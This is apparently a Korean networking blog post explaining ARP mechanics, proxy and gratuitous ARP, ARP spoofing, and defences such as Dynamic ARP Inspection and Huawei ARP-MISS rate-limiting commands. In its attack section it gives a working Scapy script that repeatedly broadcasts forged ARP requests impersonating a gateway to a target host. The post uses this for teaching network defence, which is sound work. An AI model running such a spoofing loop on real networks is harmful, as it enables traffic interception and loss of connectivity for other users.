ARP 프로토콜의 작동 원리 및 보안 대응 전략

ARP 동작 메커니즘 네트워크 내에서 동일한 서브넷에 속한 장치 간 통신 시, 기기들은 목적지 IP 주소에 해당하는 MAC 주소를 확인하기 위해 ARP 요청을 브로드캐스트로 전송한다. 예를 들어, 192.168.101.254의 물리적 주소를 알고 싶다면 "누가 192.168.101.254을 사용합니까?"라는 요청을 방식으로 전달한다. 목표 장치는 자신의 MAC 주소를 포함한 응답을 반환하며, 요청을 보낸 장치는 이를 수신하고 자신 내부의 ARP 캐시에 해당 매핑 정보를 저장한다. 이후 동일한 목적지로 패킷을 전송할 때는 캐시된 MAC 주소를 활용해 직접 전송하므로 다시 ARP 요청이 발생하지 않는다.

ARP 프록시는 라우터가 다른 네트워크 세그먼트의 장치와 상호작용할 때 사용된다. 일반적으로 다중 세그먼트 통신에서는 바로 ARP 요청을 보내지 않지만, 일부 경로 기능이 없는 장치나 다음 점이 로컬인 경우, 장치는 원격 세그먼트의 IP에 대해 암시적인 ARP 요청을 수행할 수 있다. 이때 라우터는 자신의 게이트웨이 MAC 주소를 응답으로 제공함으로써, 클라이언트가 올바른 링크 계층 주소를 학습하도록 한다.

무료 ARP (Gratuitous ARP)는 장치가 시작되거나 새로운 IP 주소를 할당받을 때 발생한다. 이는 자기 자신을 위한 브로드캐스트 요청이며, 소스 및 목적지 모두 자신의 IP 주소로 설정된다. 만약 같은 네트워크 내에서 다른 장치가 동일한 주소를 사용 중이라면, 그 장치가 응답을 보내게 되며, 이는 중복 주소 충돌을 감지하는 신호이다. 시스템은 이를 감지해 사용자에게 경고를 표시한다.

또한, 모든 수신 장치는 받은 ARP 요청의 발신자 정보(소스 MAC + IP)를 자체 ARP 테이블에 추가하여 지속적인 정보 업데이트를 수행한다.

ARP 공격 기법 다음은 가짜 ARP 요청을 생성하여 네트워크를 침입하는 예제 코드입니다:

from scapy.all import *
import time

network_interface = 'VMnet8'  # 실제 네트워크 어댑터 이름으로 변경

fake_arp_packet = Ether(
    src='54:89:98:DA:31:D6',       # 공격자의 실제 MAC
    dst='FF:FF:FF:FF:FF:FF'        # 브로드캐스트 주소
) / ARP(
    op=1,                          # 요청 패킷 (op=1)
    hwsrc='54:89:98:DA:31:D6',     # 공격자 MAC
    psrc='192.168.209.209',         # 공격자가 위장한 게이트웨이 IP
    hwdst='FF:FF:FF:FF:FF:FF',     # 브로드캐스트
    pdst='192.168.209.252'          # 타겟 장치의 IP
)

while True:
    sendp(fake_arp_packet, iface=network_interface, verbose=False)
    time.sleep(0.2)

공격자는 자신의 MAC 주소를 게이트웨이처럼 위장하여, 특정 호스트의 데이터를 가로채거나, 무효화된 게이트웨이 주소를 등록함으로써 연결 차단을 유도할 수 있다. 이러한 공격은 중간자 공격(MITM)의 기본 조건이 된다.

ARP 보안 방어 기술 ARP 공격을 방어하기 위한 방법은 다음과 같다:

  • 정적 ARP 항목 설정: 고정된 매핑 관계를 구성하여 자동 업데이트를 방지할 수 있다.

  • 802.1X 인증: 네트워크 접근 시 장치 인증을 통해 불법 장치의 접속을 제한한다.

  • Dynamic ARP Inspection (DAI): 스위치에서 실행되는 보안 기능으로, 도착한 ARP 패킷의 유효성을 검사한다.

  • 포트 기반 DAI: 특정 포트에서 수신된 ARP 패킷의 소스 정보가 미리 정의된 IP Source Guard 바인딩 테이블과 일치해야만 허용된다. 불일치 시 패킷은 버려지고 로그 기록됨.

  • 전역 기반 DAI: 전체 네트워크의 모든 포트에서 도착한 패킷을 검사하며, 동일한 IP에 대해 다른 소스 MAC이 등장하면 위조 패킷으로 간주하고 무시한다. 이 경우 로그 기록 없이 단순히 버림.

ARP-MISS 공격 및 대응 ARP-MISS 공격은 장치가 특정 목적지에 대한 ARP 엔트리가 없을 때, 패킷을 CPU로 상보하여 처리하게 되는 과정을 악용한다.

시스템은 각각의 누락된 ARP 항목에 대해 임시 가상 엔트리를 생성하고, 이를 10초간 유지하면서 후속 패킷을 버린다. 이는 과도한 상보 요청으로 인한 CPU 과부하를 방지하기 위한 것이다.

만약 특정 소스 IP로부터 1초에 5개 이상의 ARP-MISS 상보 요청이 발생하면, 시스템은 이를 악성 공격으로 판단하고 해당 IP에 대해 ACL 규칙을 적용하여 모든 관련 패킷을 차단한다. 50초 동안 재발이 없으면 자동으로 규칙 삭제.

공격 여부를 진단하려면 다음 명령어를 사용한다:

display cpu-defend statistics packet-type arp-miss all
display arp anti-attack arpmiss-record-info
reset cpu-defend statistics packet-type arp-miss all
  • 공격 징후: 버려진 패킷 수 > 수신된 패킷 수, 또는 Incomplete 상태의 많은 ARP 임시 항목 존재 (15개 이상).
  • 원인: 대량 스캔, 스토케이션 트래픽(예: STP TC), 잘못된 네트워크 구성 등.

대응 방법 (Huawei 장비 기준)

  • 임시 엔트리의 만료 시간 연장:
arp-fake expire-time 30
  • ARP-MISS 상보율 제한 (CPCAR):
cpu-defend policy 1
car packet-type arp-miss cir 32
quit
cpu-defend-policy 1 global
  • 소스 IP별 공격 속도 제어:
arp-miss speed-limit source-ip maximum 10
arp-miss speed-limit source-ip 1.1.1.1 maximum 200  # 허용 목록 설정

이러한 조치는 공격 시도를 감지하고, 시스템 리소스를 보호하는 데 효과적이다.

태그: ARP Dynamic ARP Inspection ARP spoofing MITM attack Network Security

7월 4일 21:50에 게시됨